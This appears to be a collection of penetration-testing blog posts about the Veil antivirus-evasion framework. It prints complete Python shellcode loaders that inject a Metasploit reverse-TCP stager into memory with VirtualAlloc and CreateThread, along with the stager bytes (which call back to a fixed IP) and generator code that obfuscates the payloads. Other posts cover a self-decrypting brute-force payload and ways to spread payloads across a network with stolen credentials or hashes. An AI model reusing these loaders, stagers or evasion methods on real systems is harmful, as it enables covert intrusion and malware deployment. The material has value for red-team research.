Shellcode Generation, Manipulation, and Injection in Python 3

It’s no secret that I’ve been working on updating Veil and will soon be releasing Veil 3.0. In the process, I’ve learned quite a bit about Python 2 and 3. Veil-Evasion was developed in Python 2 and after attempting to recreate some of the same capabilities in Python 3, I’ve learned how “loose” Python 2 can be. We were able to get away with various commands where Python 3 explicitly requires us to define what is being done.

Want to see how shellcode injection works in Python 2.0? Here’s a sample Python 2 flat script which includes no obfuscation:

EUPnBcpNWMwGi = bytearray('\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3')
import ctypes as ZKWXnIdQAuP
VjdMidBttQlbLnR = ZKWXnIdQAuP.windll.kernel32.VirtualAlloc(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)),ZKWXnIdQAuP.c_int(0x3000),ZKWXnIdQAuP.c_int(0x40))
WgHYTWhElnnZ = (ZKWXnIdQAuP.c_char * len(EUPnBcpNWMwGi)).from_buffer(EUPnBcpNWMwGi)
ZKWXnIdQAuP.windll.kernel32.RtlMoveMemory(ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),WgHYTWhElnnZ,ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)))
IaoYNg = ZKWXnIdQAuP.windll.kernel32.CreateThread(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.pointer(ZKWXnIdQAuP.c_int(0)))
ZKWXnIdQAuP.windll.kernel32.WaitForSingleObject(ZKWXnIdQAuP.c_int(IaoYNg),ZKWXnIdQAuP.c_int(-1))

And now, here’s the same script written for Python 3:

import ctypes as bDlDmsfMyuV
miiJDEKLsxLjbM = b'\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3'
wiseZERld = bDlDmsfMyuV.windll.kernel32.VirtualAlloc(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)),bDlDmsfMyuV.c_int(0x3000),bDlDmsfMyuV.c_int(0x40))
bDlDmsfMyuV.windll.kernel32.RtlMoveMemory(bDlDmsfMyuV.c_int(wiseZERld),miiJDEKLsxLjbM,bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)))
CVXWRcjqxL = bDlDmsfMyuV.windll.kernel32.CreateThread(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(wiseZERld),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.pointer(bDlDmsfMyuV.c_int(0)))
bDlDmsfMyuV.windll.kernel32.WaitForSingleObject(bDlDmsfMyuV.c_int(CVXWRcjqxL),bDlDmsfMyuV.c_int(-1))

You can see there is a difference in how the shellcode is being handled. In Python 2, I’m storing the shellcode as a bytearray, vs. Python 3 it’s stored as bytes. This isn’t a huge difference, but a larger change can be seen when manipulating shellcode, such as storing it in a base64 decoding script.

This is how I am able to generate shellcode and base64 encode it to be decoded at runtime in a script in Python 2:

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate(self.required_options)

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(Shellcode)

# Generate Random Variable Names
ShellcodeVariableName = helpers.randomString()
RandPtr = helpers.randomString()
RandBuf = helpers.randomString()
RandHt = helpers.randomString()
RandT = helpers.randomString()
randctypes = helpers.randomString()

PayloadCode = 'import ctypes as ' + randctypes + '\n'
PayloadCode += 'import base64\n'
PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n"
PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n"
PayloadCode += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
PayloadCode += RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName  + ')).from_buffer(' + ShellcodeVariableName + ')\n'
PayloadCode += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
PayloadCode += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
PayloadCode += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

if self.required_options["USE_PYHERION"][0].lower() == "y":
    PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode

At line 2, we’re receiving a string which essentially contains shellcode similar to ‘\x41\x7d\x00\x0a…’. This string is encoded, and then stored in output payload code. The code which this module creates looks like this:

import ctypes as rLkdwnPpzMBnJr
import base64
IesGKFkNFMC = "XHhmY1x4ZThceDg2XHgwMFx4MDBceDAwXHg2MFx4ODlceGU1XHgzMVx4ZDJceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBjXHg4Ylx4NTJceDE0XHg4Ylx4NzJceDI4XHgwZlx4YjdceDRhXHgyNlx4MzFceGZmXHgzMVx4YzBceGFjXHgzY1x4NjFceDdjXHgwMlx4MmNceDIwXHhjMVx4Y2ZceDBkXHgwMVx4YzdceGUyXHhmMFx4NTJceDU3XHg4Ylx4NTJceDEwXHg4Ylx4NDJceDNjXHg4Ylx4NGNceDEwXHg3OFx4ZTNceDRhXHgwMVx4ZDFceDUxXHg4Ylx4NTlceDIwXHgwMVx4ZDNceDhiXHg0OVx4MThceGUzXHgzY1x4NDlceDhiXHgzNFx4OGJceDAxXHhkNlx4MzFceGZmXHgzMVx4YzBceGFjXHhjMVx4Y2ZceDBkXHgwMVx4YzdceDM4XHhlMFx4NzVceGY0XHgwM1x4N2RceGY4XHgzYlx4N2RceDI0XHg3NVx4ZTJceDU4XHg4Ylx4NThceDI0XHgwMVx4ZDNceDY2XHg4Ylx4MGNceDRiXHg4Ylx4NThceDFjXHgwMVx4ZDNceDhiXHgwNFx4OGJceDAxXHhkMFx4ODlceDQ0XHgyNFx4MjRceDViXHg1Ylx4NjFceDU5XHg1YVx4NTFceGZmXHhlMFx4NThceDVmXHg1YVx4OGJceDEyXHhlYlx4ODlceDVkXHg2OFx4MzNceDMyXHgwMFx4MDBceDY4XHg3N1x4NzNceDMyXHg1Zlx4NTRceDY4XHg0Y1x4NzdceDI2XHgwN1x4ZmZceGQ1XHhiOFx4OTBceDAxXHgwMFx4MDBceDI5XHhjNFx4NTRceDUwXHg2OFx4MjlceDgwXHg2Ylx4MDBceGZmXHhkNVx4NTBceDUwXHg1MFx4NTBceDQwXHg1MFx4NDBceDUwXHg2OFx4ZWFceDBmXHhkZlx4ZTBceGZmXHhkNVx4OTdceDZhXHgwOVx4NjhceGMwXHhhOFx4YTJceDkxXHg2OFx4MDJceDAwXHgyMVx4ZTNceDg5XHhlNlx4NmFceDEwXHg1Nlx4NTdceDY4XHg5OVx4YTVceDc0XHg2MVx4ZmZceGQ1XHg4NVx4YzBceDc0XHgwY1x4ZmZceDRlXHgwOFx4NzVceGVjXHg2OFx4ZjBceGI1XHhhMlx4NTZceGZmXHhkNVx4NmFceDAwXHg2YVx4MDRceDU2XHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDhiXHgzNlx4NmFceDQwXHg2OFx4MDBceDEwXHgwMFx4MDBceDU2XHg2YVx4MDBceDY4XHg1OFx4YTRceDUzXHhlNVx4ZmZceGQ1XHg5M1x4NTNceDZhXHgwMFx4NTZceDUzXHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDAxXHhjM1x4MjlceGM2XHg4NVx4ZjZceDc1XHhlY1x4YzM="
CnnDRU = bytearray(IesGKFkNFMC.decode('base64','strict').decode("string_escape"))
usGGTaLShwINu = rLkdwnPpzMBnJr.windll.kernel32.VirtualAlloc(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(len(CnnDRU)),rLkdwnPpzMBnJr.c_int(0x3000),rLkdwnPpzMBnJr.c_int(0x40))
TaEkbM = (rLkdwnPpzMBnJr.c_char * len(CnnDRU)).from_buffer(CnnDRU)
rLkdwnPpzMBnJr.windll.kernel32.RtlMoveMemory(rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),TaEkbM,rLkdwnPpzMBnJr.c_int(len(CnnDRU)))
TuQYnf = rLkdwnPpzMBnJr.windll.kernel32.CreateThread(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.pointer(rLkdwnPpzMBnJr.c_int(0)))
rLkdwnPpzMBnJr.windll.kernel32.WaitForSingleObject(rLkdwnPpzMBnJr.c_int(TuQYnf),rLkdwnPpzMBnJr.c_int(-1))

This script decodes the base64 encoded string (the shellcode), and then string escapes the shellcode. After that, the escaped shellcode is injected into memory and run. Python 2 makes this fairly simple to do, Python 3, is a little more strict with the datatypes that are used.

For example, this is how I am generating shellcode and encoding it prior to embedding it within a script in Python 3:

# Generate the shellcode
Shellcode = self.shellcode.generate(self.cli_opts)
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii')

payload_code = 'import ctypes as ' + randctypes + '\n'
payload_code += 'import base64\n'
payload_code += ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
payload_code += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

Immediately there’s a difference with how shellcode generation and manipulation is handled. In this case, line 2 still receives the shellcode as a string similar to ‘\x41\x7d\x00\x0a…’, but you can’t base64 encode a string in Python 3, it requires input to be in the form of bytes. Unfortunately, .encode() on the shellcode doesn’t properly encode the shellcode for injection later on in the script. It took a while, but with the help of @raikiasec, we were able to figure out that encoding shellcode with latin-1 formatting (.encode(‘latin-1’)) allowed the string shellcode to be properly encoded.

Obviously, that wasn’t the only step that needs to be taken. After encoding in ‘latin-1’ format, the shellcode needs to be unicode escaped, and then re-encoded in latin-1 to return it to a byte format (hint: every time you .encode() something, you convert from a string to bytes. Each time you .decode() something, you convert from bytes to a string). The final latin-1 encoding is all that is needed, and then the shellcode is base64 encoded. Beyond that, Base64 encoding returns bytes, so the bytes output needs to be decoded as ascii, and then stored in the output Python script.  Once this is done, it creates a script similar to below:

import ctypes as AKkkiwvmOTZmuXU
import base64
mMgzKuJ = base64.b64decode("/OiGAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8i0wQeONKAdFRi1kgAdOLSRjjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ldaDMyAABod3MyX1RoTHcmB//VuJABAAApxFRQaCmAawD/1VBQUFBAUEBQaOoP3+D/1ZdqCWjAqKKRaAIAIeOJ5moQVldomaV0Yf/VhcB0DP9OCHXsaPC1olb/1WoAagRWV2gC2chf/9WLNmpAaAAQAABWagBoWKRT5f/Vk1NqAFZTV2gC2chf/9UBwynGhfZ17MM=")
COZaAf = AKkkiwvmOTZmuXU.windll.kernel32.VirtualAlloc(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)),AKkkiwvmOTZmuXU.c_int(0x3000),AKkkiwvmOTZmuXU.c_int(0x40))
AKkkiwvmOTZmuXU.windll.kernel32.RtlMoveMemory(AKkkiwvmOTZmuXU.c_int(COZaAf),mMgzKuJ,AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)))
WzFChtFNp = AKkkiwvmOTZmuXU.windll.kernel32.CreateThread(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(COZaAf),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.pointer(AKkkiwvmOTZmuXU.c_int(0)))
AKkkiwvmOTZmuXU.windll.kernel32.WaitForSingleObject(AKkkiwvmOTZmuXU.c_int(WzFChtFNp),AKkkiwvmOTZmuXU.c_int(-1))

The hardest concept for me to grasp was learning the proper encoding/decoding format that the shellcode needs to be in for the different types of manipulation that I would perform on the shellcode (base64 encoding, letter substitution, encryption, etc.). Hopefully by giving some code examples here, this can help anyone else that is looking into using Python 3 to manipulate shellcode, inject it into memory, or more.

If there’s a better way to do the above, or if you have any questions, don’t hesitate to send a message my way! Otherwise, be sure to check out Veil 3’s release at NullCon and you’ll have plenty of example to look at!

Developing a Self-Brute Forcing Payload for Veil

I’ve always thought the concepts that Hyperion utilizes to encrypt and hide an executable are very interesting.  As a result, I thought it would be a fun exercise to try to create a Veil payload that utilizes the following concepts:

  • Encrypt the shellcode stored within the executable
  • Only contain part of the decryption key within the executable
  • Make the payload brute force itself to find the complete decryption key

Hopefully, it’ll be worthwhile to walk you through how this payload works, so that’s what I’ll do. 🙂

Encrypting and decrypting shellcode is the easy part, this is something that is already done in Veil’s AES, DES, and ARC4 encrypting payloads.  But I needed to create a script that attempts to decrypt our ciphertext, thousands of times until it finds the decryption key.  I incorrectly assumed that when using the incorrect decryption key, and exception would be thrown, but that isn’t the case.  The decryption routine is still run on our ciphertext, and garbage data is returned as out “cleartext” data.  Since I can’t trigger an event based on an exception of the wrong decryption key being used, I needed a different method to determine when the real key has been found.  My implementation is to encrypt a known string with the same key used to encrypt the shellcode.  

Each round of the decryption routine will decrypt the ciphertext containing our known cleartext string.  The decrypted value is then compared to the known plaintext string.  If they don’t match, then the code assumes the wrong decryption key was used, and changes to another key.  If the decrypted string matches our known string, the code then assumes that the real key has been found.

BruteForcing Payload

The picture above is the obfuscated source code to the brute-forcing payload.  Line 5 contains our partial decryption key, but not all of it.  They key was artificially constrained to ensure the final few ascii characters used as the decryption key are numerical.  The numbers chosen are within a known range, so while we don’t know the exact number used, we can simply try all numbers within the known keyspace until the correct decryption key is identified.

Line 8 creates a for loop which will loop through all numbers within the known keyspace, and line 9 creates a decryption key by concatenating our partial key plus the “current number” of our for loop.  Line 11 is our attempt to decrypt our known string, and line 12 is checking the decrypted value against our known string.  If it’s a match, we can assume that this is our decryption key.

Once the key has been found, the script then drops into the if statement, and acts like any of Veil’s other encrypted payloads; system memory is allocated for use, the shellcode is decrypted, placed into memory, and then the decrypted shellcode is executed in memory.

The timeframe it takes it receive the callback from this payload obviously varies based on the “random” number that was generated and used in the decryption key.  This payload will be released shortly as one of Veil’s upcoming V-Days.

Multiple Methods for Dropping Payloads with Credentials (or Hashes)

I like the cliche that “There’s more than one way to skin a cat” because it’s how I like to operate.  I like to have a lot of different options to choose from when attempting to reach a certain goal.  In my previous post, I showed how psexec_command can be used to trigger an executable once it’s been placed on a machine.  But this could lead to the question, how can we get our payload on to our target machines in the first place?

This post won’t go into how to get your initial compromise, I assume you’ve already done that, and you’ve been able to dump hashes (and now because of mimikatz’s awesomeness) and/or cleartext credentials.  So the next step in an assessment is not to blindly move around a network, but to identify targets of value.  Once you’ve done this, our goal is to get our payload onto that target.  I’m going to show you a couple of different ways that you can do this, and I’d love to hear from anyone else on other ways to place a binary on a machine.

But for now, our first method, a normal shell.

Note: All methods displayed below will only work if the account you are operating as has permissions to drop binaries/files in the locations you are doing so.  Otherwise, it won’t work.

Windows Shell:

We can use a normal shell within windows to help us move our payload around the network.  The nice thing about using the built in shell is that it doesn’t require the use of any other tools and is simply using built in OS capabilities.  In our picture below, I’m interacting with a shell prompt spawned on a machine through a meterpreter session.  We can see that we have a binary called “evilpayload.exe”.  So, our goal is to move this payload from one machine to another.  This is easily done by using the copy command from within the shell and pointing our payload (which in this case is already on our compromised machine) towards a share on our target machine, as demoed below:

windowsshellcopy

Metasploit Upload:

Metasploit has the capability to simply upload a file to a machine when provided with all the required options.  To use this, call the auxiliary/admin/smb/upload_file module.  As you’ll see in the picture below, I’ve provided a sample set of values that will allow the module to upload my payload to the target machine.  One item to note, the picture does not show the SMBUser, SMBPass, and the SMBDomain values being used with the module.  You will need to provide values for those (advanced) options in order for the module to authenticate and upload the payload to your target machine.

Once all options have been provided, executing the module will upload your binary to the target machine.

msfupload

Chris Gates wrote up an awesome attack path he encountered and used the upload_file module, and can be seen here.

Metasploit Psexec:

The metasploit psexec module can be used to upload a binary, either custom compiled or generated by the metasploit framework, onto the target machine.  The obvious difference with this module is that after uploading the binary to your target machine, the framework will create a system service which executes the payload, as compared to almost all other methods within this post that simply drop the binary on the system.

As you view the screenshot below, we can se that our binary was uploaded and triggered, so we received our callback.  One item to note is that even when providing a custom executable (as I did below), the executable is renamed when it is dropped on the target machine.  In the event that you need to trigger your executable again, you’ll need to note the executable’s name on disk (in this instance, it is LtcvppBc.exe).

psexec

SMBClient.py:

The impacket library has been something that I’ve been playing around with for a little bit lately.  It has a lot of cool capabilities and allows you to write scripts to interact with a variety of protocols, one of them being SMB.  SMBClient.py is a sample script written by the developers of the impacket library to show how the library can be used to interact with SMB.  Smbclient script will let us connect to a remote share with either cleartext credentials or a hashes and upload our binary.

To initiate the connection, we’ll use open and then the ip address of the machine we want to connect to.  Once we’ve connected to the machine, we’ll authenticate with the credentials we’ve already obtained via the login command (if we only had hashes, we would use the login_hash command).  Once authenticated, we type shares to see the list of shares to connect to, and then use the C$ share.  Now, it’s simply invoking the put command, along with the file we want to upload, and then it’s complete.  You can use the ls command to verify that your file has been placed on the remote machine.

A sample workflow on how this can be used is in the screenshot below.

smbclient

Psexec.py:

The impacket library developers also left us with another awesome script for uploading files to a machine, and it’s their implementation of psexec, using the impacket library, within a python script.  This script will let us spawn a command shell on the target machine, but also comes with extra capabilities, such as the ability to upload files.  We can use this script to upload our payload, and then execute it.  Great part about it, is that our session is going to be running as System!

To call psexec.py, we provide it with the credentials we want to authenticate to the machine with, the IP address of the victim machine, and the process we want to spawn.  After this, it’s simply using the put command to drop our payload on the machine, and then we can just call it within the command shell.

Larry Spohn also wrote a great post on combining Veil with psexec.py which you can read here.

A sample workflow of the psexec.py script can be seen below:

psexec

 

I hope this has helped to give everyone multiple different options to drop files on machines when you have user credentials.  There are other ways as well, and I’m interested in hearing other methods that have been useful for you.

Veil – A Payload Generator to Bypass Antivirus

NOTE: Please, be kind, and don’t submit any payloads to ANY online virus scanner!  Please be sure to check out https://www.veil-framework.com, Veil’s website for the latest tutorials, updates, and repo location.  Any questions on using Veil?  Join us in #veil on Freenode!

On nearly every assessment, pen testers have to fight a battle against antivirus solutions.  The level of effort that goes into each “battle” relies on the AV solution, its definitions, etc.  Researching methods to bypass antivirus solutions has been an interest of mine on and off  for the past 6 months. About two months ago I started to take a more serious look in how I could take my recent research and turn it into something that more usable and useful.  I set out with a couple goals:

  • Bypass common AV solutions that I/we routinely encounter in most network environments
  • Utilize payloads that are compatible with the Metasploit framework, and expand upon these in future releases
  • Attempt to make each payload file as random as possible

With these goals in mind, I continued researching methods of bypassing AV.  Since I wanted to maintain metasploit compatibility, I chose to use shellcode generated by the metasploit framework, specifically msfvenom. To accomplish this, I began looking into other available research, which is where I discovered a number of interesting techniques that a variety of people, such as Dave Kennedy and Debasish Mandal, already began to develop.  From their research, I learned about really interesting ways to inject shellcode into memory through python.  These methods were the foundation of the rest of my research.

Since the majority of our assessment are against predominantly Windows environments, it was important that the tool worked reliably against these systems.  Since I chose to write the tool in Python, I had to figure out how to package the Python output files containing the obfuscated shellcode to execute on Windows without requiring Python to be installed on the target machine.  One of the solutions I looked into was using Py2Exe.  I knew other software used this method to convert their Python-based scripts or tools into an executable that could run on Windows and figured I could do the same.  I began testing Py2Exe with the payload files I developed and was successful running the executables on various versions of Windows, so I stuck with that solution.  The final part was for me to develop a tool that automated the payload generation process, and I’m happy to release Veil.

Veil

Veil is currently capable of using 7 different methods to make 21 different payloads, all of which result in meterpreter connections.  Veil provides the user with the option of using either Pyinstaller or Py2Exe to convert their python payload into an executable.  With Pyinstaller, Veil users and have their file converted into an executable all within Kali and does not require the use of a second VM/Machine.  When using Py2Exe,Veil will generate three files to which are required to create the final executable; a payload file (in Python), a file with runtime instructions for Py2Exe, and a batch script which handles converting the payload file into an executable. To generate the final payload, copy the three output files to a Windows host with Python, Py2Exe, and PyCrypto installed and execute the batch script. This will build the final executable that is uploaded to the target. The executable file can be dropped anywhere, on any Windows system, as all required libraries are stored within the exe file.  Once dropped on a system and executed, the payload will result in a meterpeter callback that is undetected by AV.

Py2Exe

I’ve tested the packaged executable against multiple AV solutions (MSE, Kaspersky, AVG, Symantec, and McAfee), on both test systems and “in the wild,” and have a very high success rate, bypassing detection in almost every circumstance. I hope that, by releasing this tool, I can enable others in the community to provide more effective assessments by allowing them to focus their efforts on security risks and spend less time bypassing ineffective security measures that wouldn’t deter an actual adversary.

Scanned with MSE

Setup:

For Kali:

  1. Run the setup script (setup.sh) and follow the installation process.
  2. Once the setup script has completed, delete the setup script.

For Windows (when using Py2Exe)

  1. Install Python 2.7 – (tested with x86 – http://www.python.org/download/releases/2.7/)
  2. Install Py2Exe – (http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/)
  3. Install PyCrypto – (http://www.voidspace.org.uk/python/modules.shtml)

Instructions for Use:

  1. Run Veil from Kali and generate your payload.
  2. If using Pyinstaller, your payload will be converted into an executable and is available for immediate use.
  3. If using Py2Exe
    • Move the payload.py along with its two accompanying files onto your Windows machine (that already has python and the other dependencies from above installed).  All three files should be placed in the root of the directory Python was installed to (likely C:\Python27).
    • Run the batch script to convert the Python payload into an executable format.
  4. Place the payload file on your target machine through any means necessary!

Future Direction:

  • Research new methods of encrypting or obfuscating the payload.
  • Research other languages with direct access to the Windows API for delivering the payload.

Want to play with Veil?  Feel free to do so.  Download, clone, do anything you’d like with it.  You can download Veil  here – https://github.com/Veil-Framework/Veil-Evasion.

I hope that it can help others on their tests just as it has helped me.  Please, if anyone has additional functionality they would like to add, I’d love to have input from the community!

References:

Dave Kennedy – http://www.trustedsec.com/files/BSIDESLV_Secret_Pentesting_Techniques.pdf

Debasish Mandal – http://www.debasish.in/2012/04/execute-shellcode-using-python.html